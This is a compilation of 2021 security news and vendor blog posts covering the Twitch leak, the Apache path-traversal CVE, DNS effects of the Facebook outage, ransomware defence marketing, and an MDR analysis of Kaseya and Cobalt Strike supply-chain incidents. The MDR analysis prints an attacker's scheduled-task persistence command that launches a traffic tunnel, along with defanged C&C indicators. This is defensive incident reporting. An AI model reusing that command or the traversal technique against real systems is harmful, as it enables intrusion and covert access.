Twitch Suffers Massive 125GB Data and Source Code Leak Due to Server Misconfiguration

Interactive livestreaming platform Twitch acknowledged a “breach” after an anonymous poster on the 4chan messaging board leaked its source code, an unreleased Steam competitor from Amazon Game Studios, details of creator payouts, proprietary software development kits, and other internal tools.

The Amazon-owned service said it’s “working with urgency to understand the extent of this,” adding the data was exposed “due to an error in a Twitch server configuration change that was subsequently accessed by a malicious third party.”

“At this time, we have no indication that login credentials have been exposed,” Twitch noted in a post published late Wednesday. “Additionally, full credit card numbers are not stored by Twitch, so full credit card numbers were not exposed.”

The forum user claimed the hack is designed to “foster more disruption and competition in the online video streaming space” because “their community is a disgusting toxic cesspool.” The development was first reported by Video Games Chronicle, which said Twitch was internally “aware” of the leak on October 4. The leak has also been labeled as “part one,” suggesting that there could be more on the way.

The massive trove, which comes in the form of a 125GB Torrent, allegedly includes —

  • The entirety of Twitch’s source code with commit history “going back to its early beginnings”
  • Proprietary software development kits and internal AWS services used by Twitch
  • An unreleased Steam competitor, codenamed Vapor, from Amazon Game Studios
  • Information on other Twitch properties like IGDB and CurseForge
  • Creator revenue reports from 2019 to 2021
  • Mobile, desktop and console Twitch clients, and
  • Cache of internal “red teaming” tools designed to improve security

The leak of internal source code poses a serious security risk in that it allows interested parties to search for vulnerabilities in the source code. While the data doesn’t include password related details, users are advised to change their credentials as a precautionary measure and turn on two-factor authentication for additional security.

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CISA, NIST Says Use Cybersecurity Control Systems

Last July 2021, US President Joe Biden signed a memorandum on improving the US’s cybersecurity for critical infrastructure control systems. It establishes a voluntary initiative, encouraging collaboration between the federal government and the critical infrastructure community to improve cybersecurity control.

In line with this memorandum, the Department of Homeland Security (DHS) is instructed to lead the development of preliminary cross-sector control system cybersecurity performance goals and sector-specific performance goals within one year of the memorandum.

The Cybersecurity and Infrastructure Security Agency (CISA), together with the National Institute of Standards and Technology (NIST) performed a primary crosswalk of available control system resources, recommending practices that were produced by the US government and the private sector.

The crosswalk focused on various cybersecurity documents related to best practices and risk mitigation. These documents include CISA Cyber EssentialsNISTIR 8183, Rev 1, “Cybersecurity Framework Version 1.1 Manufacturing Profile, and CISA Pipeline Cyber Risk Mitigation.

Upon review, CISA and NIST have determined nine categories of recommended cybersecurity practices, using the categories as the foundation for preliminary control systems cybersecurity performance goals.

The nine categories are:

  • Risk Management and Cybersecurity Governance, which aims to “identify and document cybersecurity control systems using established recommended practices”.
  • Architecture and Design, which has the objective of integrating cybersecurity and resilience into system architecture in line with established best practices.
  • Configuration and Change Management. This category aims to documents and control hardware and software inventory, system settings, configurations, and network traffic flows during the control system hardware and software lifecycles.
  • Physical Security, which aims to limit physical access to systems, facilities, equipment, and other infrastructure assets to authorized users.
  • System and Data Integrity, Availability, and Confidentiality. This category aims to protect the control system and its data against corruption, compromise, or loss.
  • Continuous Monitoring and Vulnerability Management, which aims to implement and perform continuous monitoring of control systems cybersecurity threats and vulnerabilities.
  • Training and Awareness aims to train personnel to have the fundamental knowledge and skills needed to determine control systems cybersecurity risks.
  • Incident Response and Recovery. This category aims to implement and test control system response and recovery plans with clearly defined roles and responsibilities.
  • Supply Chain Risk Management, which aims to identify risks associated with control system hardware, software, and manage services.

CISA explained that the nine categories’ goals outlined above are “foundational activities for effective risk management”, representing high-level cybersecurity best practices. The agency also said that these are not an exhaustive guide to all facets of an effective cybersecurity program.

As cyber threats and risks become more and more sophisticated and difficult to mitigate, it is important for critical infrastructure owners to future-proof their enterprises, minimizing operational risks and disturbances.

Apart from practices identified by CISA and NIST, owners and users should understand various practical countermeasures that should be considered during their planning and design phases.

Check out our “Best Practices for Securing Smart Factories: Three Steps to Keep Operations Running” to learn more about security issues, defense strategies, and the benefit of efficiently securing factories with minimal TCO.

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Helping Apache Servers stay safe from zero-day path traversal attacks (CVE-2021-41773)

On September 29, 2021, the Apache Security team was alerted to a path traversal vulnerability being actively exploited (zero-day) against Apache HTTP Server version 2.4.49. The vulnerability, in some instances, can allow an attacker to fully compromise the web server via remote code execution (RCE) or at the very least access sensitive files. CVE number 2021-41773 has been assigned to this issue. Both Linux and Windows based servers are vulnerable.

An initial patch was made available on October 4 with an update to 2.4.50, however, this was found to be insufficient resulting in an additional patch bumping the version number to 2.4.51 on October 7th (CVE-2021-42013).

Customers using Apache HTTP Server versions 2.4.49 and 2.4.50 should immediately update to version 2.4.51 to mitigate the vulnerability. Details on how to update can be found on the official Apache HTTP Server project site.

Any Cloudflare customer with the setting normalize URLs to origin turned on have always been protected against this vulnerability.

Additionally, customers who have access to the Cloudflare Web Application Firewall (WAF), receive additional protection by turning on the rule with the following IDs:

  • 1c3d3022129c48e9bb52e953fe8ceb2f (for our new WAF)
  • 100045A (for our legacy WAF)

The rule can also be identified by the following description:

Rule message: Anomaly:URL:Query String - Multiple Slashes, Relative Paths, CR, LF or NULL.

Given the nature of the vulnerability, attackers would normally try to access sensitive files (for example /etc/passwd), and as such, many other Cloudflare Managed Rule signatures are also effective at stopping exploit attempts depending on the file being accessed.

How the vulnerability works

The vulnerability leverages missing path normalization logic. If the Apache server is not configured with a require all denied directive for files outside the document root, attackers can craft special URLs to read any file on the file system accessible by the Apache process. Additionally, this flaw could also leak the source of interpreted files like CGI scripts and, in some cases, also allow the attacker to take over the web server by executing shell scripts.

For example, the following path:


would allow the attacker to climb the directory tree (../ indicates parent directory) outside of the web server document root and then subsequently access /etc/passwd.

Well implemented path normalization logic would correctly collapse the path into the shorter $hostname/etc/passwd by normalizing all ../ character sequences nullifying the attempt to climb up the directory tree.

Correct normalization is not easy as it also needs to take into consideration character encoding, such as percent encoded characters used in URLs. For example, the following path is equivalent to the first one provided:


as the characters %2e represent the percent encoded version of dot “.”. Not taking this properly into account was the cause of the vulnerability.

The PoC for this vulnerability is straightforward and simply relies on attempting to access sensitive files on vulnerable Apache web servers.

Exploit Attempts

Cloudflare has seen a sharp increase in attempts to exploit and find vulnerable servers since October 5.

Most exploit attempts observed have been probing for static file paths — indicating heavy scanning activity before attackers (or researchers) may have attempted more sophisticated techniques that could lead to remote code execution. The most commonly attempted file paths are reported below:



Keeping web environments safe is not an easy task. Attackers will normally gain access and try to exploit vulnerabilities even before PoCs become widely available — we reported such a case not too long ago with Atlassian’s Confluence OGNL vulnerability.

It is vital to employ all security measures available. Cloudflare features such as our URL normalization and the WAF, are easy to implement and can buy time to deploy any relevant patches offered by the affected software vendors.

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What happened on the Internet during the Facebook outage

It’s been a few days now since Facebook, Instagram, and WhatsApp went AWOL and experienced one of the most extended and rough downtime periods in their existence.

When that happened, we reported our bird’s-eye view of the event and posted the blog Understanding How Facebook Disappeared from the Internet where we tried to explain what we saw and how DNS and BGP, two of the technologies at the center of the outage, played a role in the event.

In the meantime, more information has surfaced, and Facebook has published a blog post giving more details of what happened internally.

As we said before, these events are a gentle reminder that the Internet is a vast network of networks, and we, as industry players and end-users, are part of it and should work together.

In the aftermath of an event of this size, we don’t waste much time debating how peers handled the situation. We do, however, ask ourselves the more important questions: “How did this affect us?” and “What if this had happened to us?” Asking and answering these questions whenever something like this happens is a great and healthy exercise that helps us improve our own resilience.

Today, we’re going to show you how the Facebook and affiliate sites downtime affected us, and what we can see in our data. is a fast and privacy-centric public DNS resolver operated by Cloudflare, used by millions of users, browsers, and devices worldwide. Let’s look at our telemetry and see what we find.

First, the obvious. If we look at the response rate, there was a massive spike in the number of SERVFAIL codes. SERVFAILs can happen for several reasons; we have an excellent blog called Unwrap the SERVFAIL that you should read if you’re curious.

In this case, we started serving SERVFAIL responses to all and DNS queries because our resolver couldn’t access the upstream Facebook authoritative servers. About 60x times more than the average on a typical day.

If we look at all the queries, not specific to Facebook or WhatsApp domains, and we split them by IPv4 and IPv6 clients, we can see that our load increased too.

As explained before, this is due to a snowball effect associated with applications and users retrying after the errors and generating even more traffic. In this case, had to handle more than the expected rate for A and AAAA queries.

Here’s another fun one.

DNS vs. DoT and DoH. Typically, DNS queries and responses are sent in plaintext over UDP (or TCP sometimes), and that’s been the case for decades now. Naturally, this poses security and privacy risks to end-users as it allows in-transit attacks or traffic snooping.

With DNS over TLS (DoT) and DNS over HTTPS, clients can talk DNS using well-known, well-supported encryption and authentication protocols.

Our learning center has a good article on “DNS over TLS vs. DNS over HTTPS” that you can read. Browsers like Chrome, Firefox, and Edge have supported DoH for some time now, WAP uses DoH too, and you can even configure your operating system to use the new protocols.

When Facebook went offline, we saw the number of DoT+DoH SERVFAILs responses grow by over x300 vs. the average rate.

So, we got hammered with lots of requests and errors, causing traffic spikes to our resolver and causing an unexpected load in the edge network and systems. How did we perform during this stressful period?

Quite well. kept its cool and continued serving the vast majority of requests around the famous 10ms mark. An insignificant fraction of p95 and p99 percentiles saw increased response times, probably due to timeouts trying to reach Facebook’s nameservers.

Another interesting perspective is the distribution of the ratio between SERVFAIL and good DNS answers, by country. In theory, the higher this ratio is, the more the country uses Facebook. Here’s the map with the countries that suffered the most:

Here’s the top twelve country list, ordered by those that apparently use Facebook, WhatsApp and Instagram the most:

CountrySERVFAIL/Good Answers ratio
South Sudan3.47
Syrian Arab Republic3.41
United Arab Emirates3.17
French Guiana3.00

Impact on other sites

When Facebook, Instagram, and WhatsApp aren’t around, the world turns to other places to look for information on what’s going on, other forms of entertainment or other applications to communicate with their friends and family. Our data shows us those shifts. While Facebook was going down, other services and platforms were going up.

To get an idea of the changing traffic patterns we look at DNS queries as an indicator of increased traffic to specific sites or types of site.

Here are a few examples.

Other social media platforms saw a slight increase in use, compared to normal.

Traffic to messaging platforms like Telegram, Signal, Discord and Slack got a little push too.

Nothing like a little gaming time when Instagram is down, we guess, when looking at traffic to sites like Steam, Xbox, Minecraft and others.

And yes, people want to know what’s going on and fall back on news sites like CNN, New York Times, The Guardian, Wall Street Journal, Washington Post, Huffington Post, BBC, and others:


One could speculate that the Internet was under attack from malicious hackers. Our Firewall doesn’t agree; nothing out of the ordinary stands out.

Network Error Logs

Network Error Logging, NEL for short, is an experimental technology supported in Chrome. A website can issue a Report-To header and ask the browser to send reports about network problems, like bad requests or DNS issues, to a specific endpoint.

Cloudflare uses NEL data to quickly help triage end-user connectivity issues when end-users reach our network. You can learn more about this feature in our help center.

If Facebook is down and their DNS isn’t responding, Chrome will start reporting NEL events every time one of the pages in our zones fails to load Facebook comments, posts, ads, or authentication buttons. This chart shows it clearly.​​


Cloudflare announced WARP in 2019, and called it “A VPN for People Who Don’t Know What V.P.N. Stands For” and offered it for free to its customers. Today WARP is used by millions of people worldwide to securely and privately access the Internet on their desktop and mobile devices. Here’s what we saw during the outage by looking at traffic volume between WARP and Facebook’s network:

You can see how the steep drop in Facebook ASN traffic coincides with the start of the incident and how it compares to the same period the day before.

Our own traffic

People tend to think of Facebook as a place to visit. We log in, and we access Facebook, we post. It turns out that Facebook likes to visit us too, quite a lot. Like Google and other platforms, Facebook uses an army of crawlers to constantly check websites for data and updates. Those robots gather information about websites content, such as its titles, descriptions, thumbnail images, and metadata. You can learn more about this on the “The Facebook Crawler” page and the Open Graph website.

Here’s what we see when traffic is coming from the Facebook ASN, supposedly from crawlers, to our CDN sites:

The robots went silent.

What about the traffic coming to our CDN sites from Facebook User-Agents? The gap is indisputable.

We see about 30% of a typical request rate hitting us. But it’s not zero; why is that?

We’ll let you know a little secret. Never trust User-Agent information; it’s broken. User-Agent spoofing is everywhere. Browsers, apps, and other clients deliberately change the User-Agent string when they fetch pages from the Internet to hide, obtain access to certain features, or bypass paywalls (because pay-walled sites want sites like Facebook to index their content, so that then they get more traffic from links).

Fortunately, there are newer, and privacy-centric standards emerging like User-Agent Client Hints.

Core Web Vitals

Core Web Vitals are the subset of Web Vitals, an initiative by Google to provide a unified interface to measure real-world quality signals when a user visits a web page. Such signals include Largest Contentful Paint (LCP), First Input Delay (FID), and Cumulative Layout Shift (CLS).

We use Core Web Vitals with our privacy-centric Web Analytics product and collect anonymized data on how end-users experience the websites that enable this feature.

One of the metrics we can calculate using these signals is the page load time. Our theory is that if a page includes scripts coming from external sites (for example, Facebook “like” buttons, comments, ads), and they are unreachable, its total load time gets affected.

We used a list of about 400 domains that we know embed Facebook scripts in their pages and looked at the data.

Now let’s look at the Largest Contentful Paint. LCP marks the point in the page load timeline when the page’s main content has likely loaded. The faster the LCP is, the better the end-user experience.

Again, the page load experience got visibly degraded.

The outcome seems clear. The sites that use Facebook scripts in their pages took 1.5x more time to load their pages during the outage, with some of them taking more than 2x the usual time. Facebook’s outage dragged the performance of  some other sites down.


When Facebook, Instagram, and WhatsApp went down, the Web felt it. Some websites got slower or lost traffic, other services and platforms got unexpected load, and people lost the ability to communicate or do business normally.

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The cost of ransomware attacks: Why and how you should protect your data

As the COVID-19 pandemic ravaged the world in 2020, ransomware attacks grew to epidemic proportions of their own. Almost every day, both large and small companies across every industry — all lacking ransomware protection — were attacked. Now with incidents on the rise, organizations are rushing to implement data protection strategies to reduce their exposure.

By 2031, ransomware is likely to cost victims more than $250 billion annually, with a new attack occurring every 2 seconds.1

But, while everyone can agree that ransomware is a major threat, what are the actual costs that come with a ransomware attack? And, more importantly, what can you do to defend yourself from them?

What is ransomware?

Ransomware is malicious software (malware) used in a cyberattack to encrypt a victim’s data with a key known only to the attacker, rendering the data unusable until a ransom payment (usually cryptocurrency like Bitcoin) is paid by the victim. Ransomware activity has become pervasive, impacting 50% of organizations in 2020.2

Recently, however, ransomware incidents have become even more insidious. In the past, attackers would simply force companies to pay a ransom to unlock data. Today, 70% of occurrences employ double extortion tactics, where attackers exfiltrate and steal sensitive company information to coerce companies to pay even more.3 If payment isn’t made, the attackers leak the data onto the dark web.

The real costs of ransomware attacks

Ransomware has many costs, from the ransom amount to the costs of recovering from the occurrence to the damage to your organization’s brand. All of the costs add up to significant amounts and can take a major toll on your business.

Ransom costs

2020 was a very good year for ransomware attackers. The number of companies willing to pay increased, as did the size of the payouts.

Remediation costs

Beyond the ransom itself, there are the costs it takes to recover from an attack — including investing in IT resources to rebuild servers and recover data. There are also the costs of the disruption to the business, like lost revenue incurred from downtime.

Intangible costs: more than money

Beyond the direct costs of ransom and remediation, there are the soft costs of PR fiascos, brand erosion, and the reduced confidence of customers and partners. In addition, boards of directors and governments are starting to require immediate reporting of cybersecurity incidents, which take resources and incur more costs. For example, the U.S. Transportation Security Administration (TSA) will require pipeline companies to report incidents within 12 hours.

Using a modern cloud-native security solution for ransomware protection

While ransomware attacks are on the rise — and more costly than ever — there are risk mitigation strategies that you can take to defend against attacks and other cybersecurity threats. Cisco Umbrella, the cloud-native, multi-function security service, unifies firewall, secure web gateway (SWG), DNS-layer security, cloud access security broker (CASB), and threat intelligence into a single cloud service to help businesses of all sizes secure their network against ransomware and cybersecurity threats.

So, how exactly does Cisco Umbrella provide ransomware protection?

Blocks the first phase of attack — malicious internet requests at the DNS layer

Ransomware attackers need to stage internet infrastructure before they can launch an attack. Cisco Umbrella stops ransomware attacks early by blocking internet connections to the malicious sites that serve up ransomware. Cisco Umbrella enforces security at the DNS and IP layers, processing 220 billion internet requests for more than 20,000 businesses every day, preventing users from ever accessing most malicious content sites.

Unifies other security services for robust protection — anywhere and everywhere

With users accessing data and apps both on and off network and on many types of devices, ransomware security needs to be everywhere. Instead of a variety of individual standalone security solutions, Cisco Umbrella combines DNS-layer, firewall, SWG, CASB, and threat intelligence functions into a single cloud service to help businesses of all sizes secure their users, applications, and data, wherever they are.

Leverages unmatched threat intelligence

The best defense is a good offense. Cisco Umbrella uses intelligence from Cisco Talos, one of the largest commercial threat intelligence teams in the world, to offensively discover and block new threats before they become attacks. In addition, backed by more than 300 researchers, Cisco Umbrella uncovers and blocks a broad spectrum of malicious domains, IPs, URLs, and files being used in attacks.

Delivers proven performance against threats

Cisco Umbrella has a track record of tried-and-tested threat detection and security efficacy, backed by third-party validation. AV-TEST, an independent security organization, conducted a study of threat efficacy among leading cloud security vendors. Cisco Umbrella received top marks across the board, with a 96.39% threat detection rate — the highest in the industry.10

Take preventative action to defend your data

Ransomware attacks and their associated costs pose a serious threat to your business. But there are ways to defend against ransomware and mitigate the risks. Cisco Umbrella uses multiple, advanced security functions to provide protection from ransomware and other security threats. Want to learn even more about how to defend your data? Download the Ransomware Defense for Dummies ebook.

1 Brave, David, Global Ransomware Damage Costs Predicted to Reach $250 Billion (USD) by 2031, Cyber Security Ventures, June 1, 2021.
2 2021 Cyber security threat trends – phishing, crypto top the list, Cisco, June 1, 2021.
3 Brave, David, Global Ransomware Damage Costs Predicted to Reach $250 Billion (USD) by 2031, Cyber Security Ventures, June 1, 2021.
4 Highlights from the 2021 Unit 42 Ransomware Threat Report, Palo Alto Networks, March 17, 2021.
5 Highlights from the 2021 Unit 42 Ransomware Threat Report, Palo Alto Networks, March 17, 2021.
6 Yeap, Yuen Pin, Why Ransomware Costs Businesses Much More Than Money, Forbes, April 30, 2021.
7 Scroxton, Alex, Average Ransomware Cost Triples, Says Report, Computer Weekly, March 17, 2021.
8 Yeap, Yuen Pin, Why Ransomware Costs Businesses Much More Than Money, Forbes, April 30, 2021.
9 Andrus, Danielle, Ransomware Incidents, Costs On the Rise, and No Target Is Too Small, Benefits Pro, May 5, 2021.
10 DNS-Layer Protection & Secure Web Gateway Security Efficacy Test, AV-TEST, February 2021.

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Supply Chain Attacks from a Managed Detection and Response Perspective


Modern technology has made managing large IT environments much less daunting compared to the past, when each endpoint had to be manually configured and maintained. Many organizations now use tools and IT solutions that allow centralized management of endpoints, making it possible to update, troubleshoot, and deploy applications from a remote location.

However, this convenience comes at a price — just as IT staff can access machines from a single location, the centralized nature of modern tech infrastructure also means that malicious actors can target the primary hub to gain access to the whole system.  Even more concerning, cybercriminals no longer even have to launch a direct attack against an organization — they can bypass security measures by focusing on their target’s supply chain. For example, instead of trying to find weak points in the system of a large organization that will likely have strong defenses, an attacker can instead target smaller companies that develop software for larger enterprises.

In this blog entry, we will take a look at two examples of supply chain attacks that our Managed Detection and Response (MDR) team encountered in the past couple of months.

Incident #1: Attack on the Kaseya platform

On July 2, during the peak of the Kaseya ransomware incident, we alerted one of our customers, notifying them about  ransomware detections in their system.  

Figure 1. The timeline of the incident

Our investigation found suspicious activity when the file AgentMon.exe, which is part of the Kaseya Agent, spawned another file, cmd.exe, that is responsible for creating the payload agent.exe, which in turn dropped MsMpEng.exe

By expanding our root cause analysis (RCA) and checking the argument for cmd.exe, we were able to see a few items before the execution of the ransomware. These initial set of indicators of compromise (IoCs) are similar to the ones discussed in another blog post.

Figure 2. Vision One console showing the attack’s infection chain

We found that the malware attempted to disable the anti-malware and anti-ransomware features of Windows Defender via PowerShell commands. It also created a copy of the Windows command line program Certutil.exe to “C:\Windows\cert.exe”, which is used to decode the payload file agent.crt, with the output given the name agent.exe.  Agent.exe is then used to create the file MsMpEng.exe, a version of Windows Defender that is vulnerable to DLL side-loading.

Figure 3. Details of the threat

Machine learning detection capabilities managed to block and detect the ransomware, however, the protection module was not activated in all the security agents of Trend Micro Apex One™ — so the organization’s support requested the team to check their product settings. Because the process chain showed that the ransomware came from a Kaseya agent, we  requested our customer to isolate the Kaseya servers to contain the threat.

A few hours later, Kaseya released a notice to their users to immediately shut down their Virtual System/Server Administrator (VSA) server until further notice.

Incident #2: Credential dumping attack on the Active Directory

The second supply chain incident handled by our MDR team starts with an alert to a customer that notified them of a credential dump occurring in their active directory (AD). The Incident View in Trend Micro Vision One™️ aggregated other detections into a single view, providing additional information on the scope of the threat. From there, we were able to see a server, an endpoint, and a user related to the threat.

Figure 4. Vision One’s incident view showing the threat’s details

Our threat hunting team also noted suspicious behavior related to WmiExec. Further investigation of the affected hosts’ Ownership Alignment Tools (OATs) show a related entry for persistence:

  • C:\Windows\System32\schtasks.exe /CREATE /RU SYSTEM /SC HOURLY /TN “Windows Defender” /TR “powershell.exe C:\Windows\System.exe -L rtcp:// -F mwss://” /ST 12:00
Figure 5. OAT flagging a suspicious creation of a scheduled task

We found scheduled tasks being utilized as a persistence mechanism for the file System.exe. Further analysis of this file shows that it is related to GO simple tunnel, which is used to forward network traffic to an IP address depending on the argument.

Checking the initial alert revealed a file common in the two hosts, which prompted us to check the IOC list to determine the other affected hosts in the environment.

Figure 6. Discovery commands and access to a malicious domain evident in the process chain

Expanding the nodes from the RCA allowed us to gather additional IOCs that showed setup0.exe creating the file elevateutils.exe. In addition, elevateutils.exe was seen querying the domain vmware[.]center, which is possibly the threat’s command-and-control (C&C) server. We also discovered the earliest instance of setup0.exe in one of the hosts.

The samples setup0.exe is an installer for elevateutils.exe which seems to be a Cobalt Strike Beacon Malleable C&C stager based on our analysis. The installer may have been used to masquerade as a normal file installation. 

Figure 7. The presence of EICAR strings is an indicator of it being of elevateutils.exe being a Cobalt Strike Beacon

The stager elevateutils.exe: will try to load the DLL chartdir60.dll, which will in turn read the contents of manual.pdf (these are also dropped by the installer in the same directory as elevateutil.exe). It will then decrypt, load, and execute a shell code in memory that will access the URL vmware[.]center/mV6c.

It makes use of VirtualAlloc, VirtualProtect, CreateThread, and a function to decrypt the shellcode to load and execute in memory. It also uses indirect API calls after decryption in a separate function, then uses JMP EAX to call the function as needed, which is not a routine or behavior that a normal file should have.

Since it’s possible that this is a Cobalt Strike Malleable C&C stager, further behaviors may be dependent on what is downloaded from the accessed URL. However, due to being inaccessible at the time of writing this blog post, we were unable to observe and/or verify other behaviors.

Use of the Progressive RCA of Vision One allowed us to see how elevateutils.exe was created, as well as its behaviors. The malicious file was deployed via a Desktop Central agent.

Figure 8. Viewing the behaviors of elevateutils.exe
Figure 9. The console showing the attack’s infection chain

Based on these findings, our recommendation to the customer was to check the logon logs of the affected application to verify any suspicious usage of accounts during the time the threat was deployed.

By closely monitoring the environment, the threat was stopped after the credential dump. Furthermore, the IOCs (IP addresses and hashes) were added to the suspicious objects list to block them while waiting for detections. Further monitoring was done and no other suspicious behavior were seen.

Defending against supply chain attacks

As businesses become more interconnected, a successful supply chain attack has the potential to cause a significant amount of damage to affected organizations.  We can expect to see more of these in the future, as they often lead to the same results as a direct attack while providing a wider attack surface for malicious actors to exploit.

Supply chain attacks are difficult to track because the targeted organizations often do not have full access to what’s going on security-wise with their supply chain partners. This can often be exacerbated by security lapses within the company itself. For example, products and software may have configurations — such as folder exclusions and suboptimal implementation of detection modules — that make threats more difficult to notice.

Security audits are also a very important step in securing the supply chain.  Even if third party vendors are known to be trustworthy, security precautions should still be deployed in case there are compromised accounts or even insider threats.

Using Vision One to contain the threat

Trend Micro Vision One provides offers organizations the ability to detect and respond to threats across multiple security layers. It provides enterprises options to deal with threats such as the ones discussed in this blog entry:

  • It can Isolate endpoints, which are often the source of infection, until they are fully cleaned or the investigation is done.
  • It can block IOCs related to the threat, this includes hashes, IP addresses, or domains found during analysis.
  • It can collect files for further investigation.

Indicators of Compromise (IoCs)

Incident # 1


SHA256Detection nameDetails

Incident # 2

SHA256Detection nameDetails
116af9afb2113fd96e35661df5def2728e169129bedd6b0bb76d12aaf88ba1ab Trojan.Win32.COBALT.AZSetup0.exe

IP addresses and domains

  • 185[.]215[.]113[.]213
  • vmware[.]center

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Using DNS-layer security to detect and prevent ransomware attacks

This year has seen a dramatic uptick in ransomware attacks, with high-profile incidents like the Colonial Pipeline attack or the Kaseya attack dominating news cycles. The frequency and cost of these attacks have prompted many cybersecurity professionals to investigate more robust ransomware protection solutions, like DNS-layer security. But how can you make sure your organization’s security posture is as effective as possible? That’s the question we set out to answer during our Black Hat 2021 session: Using DNS-layer security to detect and block dangerous campaigns.

At Cisco Umbrella, we’ve seen plenty of cyberattacks play out across vulnerable networks. Using the data we’ve gathered while researching emerging threats – including the recent wave of ransomware attacks – our team has developed a set of solutions that maximize our use of recursive DNS servers to improve security across networks. We’re confident that this approach to DNS-layer security can help keep your network safe from bad actors as well.

Did you miss our talk? Don’t worry – you can view the recorded session online or read the highlights below:

Observing DNS-layer activity can help you identify sophisticated threats

The Domain Name System (DNS) allows clients to connect to websites, perform software updates, and use many of the applications organizations rely on. Unfortunately, the DNS layer is also one of the least secure aspects of many networks: DNS packets are rarely inspected by security protocols and they pass easily through unblocked ports. So, it only makes sense that today’s sophisticated threats – including ransomware attacks – tend to operate at the DNS layer.

Of course, just because most security teams pay little attention to DNS-layer activity doesn’t mean that you have to do the same. In fact, you can configure your recursive DNS servers to gather data useful for designing and implementing proprietary defense algorithms or performing threat hunting at scale. For example, the Cisco Umbrella DNS resolvers gather data:

  • From authoritative DNS logs that can reveal potential attacks through newly staged infrastructures, BulletProofHostings, and malicious domains, IPs, and ASNs
  • From user request patterns that can reveal in-progress attacks through compromised systems and command and control callbacks

While partnering with a prosumer DNS-layer security provider like Cisco Umbrella is always an option when it comes to data gathering, we go into more detail on configuring your own recursive DNS servers to gather this data during our presentation.

Understanding how ransomware attacks happen can help you either prevent or mitigate threats

While the exact tactics, techniques, and procedures (TTPs) vary from scenario to scenario, most ransomware attacks tend to follow the same basic flow:

  • A client navigates to a compromised domain on the Internet, accidentally downloading a weaponized file containing a malicious program
  • The file launches an event chain designed to establish a post-exploitation framework on the affected network
  • The malicious program moves laterally to other computers on the network
  • Multiple computers are infected by the ransomware program, which encrypts all business-critical data

Starting in 2020, most ransomware attacks have added another step to the process: data exfiltration. Before encryption, the program transports business-critical data from the client’s network to the threat actor using DNS tunnels. This allows the threat actor to place additional leverage on their victim – instead of simply losing their data, companies find themselves facing the prospect of having that data leaked online or sold to the highest bidder on the dark web.

What’s more, since ransomware attacks can take as little as five hours to execute, detecting an in-progress attack can be difficult unless you have a strong DNS-layer security system designed to recognize these attacks.

Popular tools used in ransomware attacks rely on DNS-layer activity

Earlier, we mentioned how most ransomware attackers make use of the fact that network administrators don’t secure DNS-layer activity. In fact, we’ve observed that some of the most common attack frameworks rely heavily on DNS tunneling, both to gain a foothold across the network and to allow the threat actor to exfiltrate data or execute command and control attacks.

Examples of the attacks that make use of DNS tunneling techniques include:

  • The DNS beacon that originated in the CobaltStrike penetration testing tool used in most high profile ransomware attacks
  • Supply-Chain attack SUNBURST used DNS tunnelling during post-exploitation
  • APT group OilRig heavily leverages Data exfiltration through DNS tunnels in its cyber espionage campaigns

In our presentation, we go into more detail on the way these frameworks have been used by threat actors in the past and how they might be used in the future. But the common element these frameworks share – the use of DNS activity – is enough to suggest that DNS-layer security may become more important than ever as we prepare for upcoming attacks.

The strongest ransomware protection combines attack prevention and attack mitigation tactics

We’ve talked a lot about how the data gathered from recursive DNS servers can help identify threats. But DNS-layer security goes further than information gathering; a strong security posture should also help protect networks from attacks. At Cisco Umbrella, we configure our recursive DNS servers to do this in two ways: by preventing clients from connecting to suspicious domains – stopping attacks before they start – and by detecting unusual DNS-layer activity that could indicate an in-progress attack – allowing security teams to isolate infected systems and mitigate the damage.

Ransomware protection that prevents attacks

Using DNS-layer security to prevent ransomware attacks from occuring in the first place is an approach that many organizations favor, and with good reason: This tactic prevents any post-exploitation losses.

While the algorithms used by traditional recursive DNS servers will flag certain risky domains, this built-in defense often leaves much to be desired. It evaluates the domain’s age and reputation when determining whether a client should be allowed to connect to it, but allows bad actors to bypass these DNS-layer security protocols using staged domains in good repute.

At Cisco Umbrella, we work around this shortcoming by configuring our recursive DNS servers to flag any anomalous domains for deeper review before allowing clients to connect. This approach weeds out many more dangerous domains, minimizing the window of time in which a user is vulnerable from around 24 hours to mere minutes.

While the Cisco Umbrella team provides this service as part of our DNS-layer security offerings, we also discuss how you can configure your own resolvers to behave similarly in our presentation.

Ransomware protection that identifies in-progress attacks

While preventing the initial compromise may be the ideal form of protection, this approach is not a silver bullet. The tactics employed by threat actors constantly evolve, making it possible for certain ransomware attacks to slip past even the most tightly woven nets. This is why your DNS-layer security solution should also contain protocols that help it detect in-progress attacks.

For those looking to secure DNS activity, this involves incorporating a system that flags any anomalous DNS tunneling in a network. As mentioned earlier, most ransomware attacks make use of DNS tunneling to establish both bi-directional and unidirectional communication between an attacker and the systems on your network. If the DNS activity isn’t secure, this allows the threat actor to stay under the radar until their attack is nearly executed. But if your DNS-layer security solution carefully monitors network DNS activity, you can start mitigating the effects of an attack before they become catastrophic.

Cisco Umbrella offers DNS-layer security that helps protect clients from threats now and in the future

At Cisco Umbrella, we strive to offer customers the best protection possible by combining multiple detection and remediation techniques that help them prepare for the threats coming their way. This includes reactive DNS-layer security algorithms, real-time heuristics, and real-time behavioral detection. What’s more, we strive for as much transparency as possible, providing our clients with real-time statistics which we used when deciding to block connection to a domain.

Want to learn more about how Cisco Umbrella makes use of DNS-layer security to protect clients from ransomware attacks? Listen to our full Black Hat 2021 presentation!

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Bugs in Managed DNS Services Cloud Let Attackers Spy On DNS Traffic

Cybersecurity researchers have disclosed a new class of vulnerabilities impacting major DNS-as-a-Service (DNSaaS) providers that could allow attackers to exfiltrate sensitive information from corporate networks.

“We found a simple loophole that allowed us to intercept a portion of worldwide dynamic DNS traffic going through managed DNS providers like Amazon and Google,” researchers Shir Tamari and Ami Luttwak from infrastructure security firm Wiz said.

Calling it a “bottomless well of valuable intel,” the treasure trove of information contains internal and external IP addresses, computer names, employee names and locations, and details about organizations’ web domains. The findings were presented at the Black Hat USA 2021 security conference last week.

“The traffic that leaked to us from internal network traffic provides malicious actors all the intel they would ever need to launch a successful attack,” the researchers added. “More than that, it gives anyone a bird’s eye view on what’s happening inside companies and governments. We liken this to having nation-state level spying capability – and getting it was as easy as registering a domain.”

The exploitation process hinges on registering a domain on Amazon’s Route53 DNS service (or Google Cloud DNS) with the same name as the DNS name server — which provides the translation (aka resolution) of domain names and hostnames into their corresponding Internet Protocol (IP) addresses — resulting in a scenario that effectively breaks the isolation between tenants, thus allowing valuable information to be accessed.

In other words, by creating a new domain on the Route53 platform inside AWS name server with the same moniker and pointing the hosted zone to their internal network, it causes the Dynamic DNS traffic from Route53 customers’ endpoints to be hijacked and sent directly to the rogue and same-named server, thus creating an easy pathway into mapping corporate networks.

